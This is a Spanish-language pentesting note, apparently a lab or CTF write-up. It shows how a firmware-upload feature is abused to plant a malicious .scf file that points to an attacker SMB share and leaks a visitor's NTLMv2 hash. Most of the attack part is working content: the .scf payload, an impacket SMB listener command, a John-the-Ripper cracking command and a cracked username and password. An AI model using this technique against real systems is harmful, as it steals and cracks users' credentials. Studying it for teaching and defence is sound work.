> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# Carga de archivos y captura de NTLMv2 .scf

<figure><img src="/files/74bca770cc812c2ce72ed4e69b141709daea55aa" alt=""><figcaption></figcaption></figure>

El sitio ofrece una opción para subir firmware. El mensaje dice:

> Seleccione el modelo de impresora impresora y descargue la actualización de firmware del firmware correspondiente en nuestro recurso compartido de archivos. Nuestro equipo de TI revisará las cargas manualmente y comenzará las pruebas pronto.

<figure><img src="/files/cb1397be567d6775d1175fd8de82d1a6bbefce55" alt=""><figcaption></figcaption></figure>

## Explotación - Archivo SCF malicioso:

Creación de un archivo malicioso `.scf` para capturar el NTLMv2 de un usuario cuando lo abren:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

Inicie un listener con **impacket** para capturar el NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

Captura del hash NTLMv2 del usuario `tony`.

<figure><img src="/files/b06b881c4b3bd825c72a383bbdd97c78b9bc2a4d" alt=""><figcaption></figcaption></figure>

Cracking del hash NTLM con **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="/files/224b948ea1c511dac1bb73f0c07ce9faef4e441e" alt=""><figcaption></figcaption></figure>


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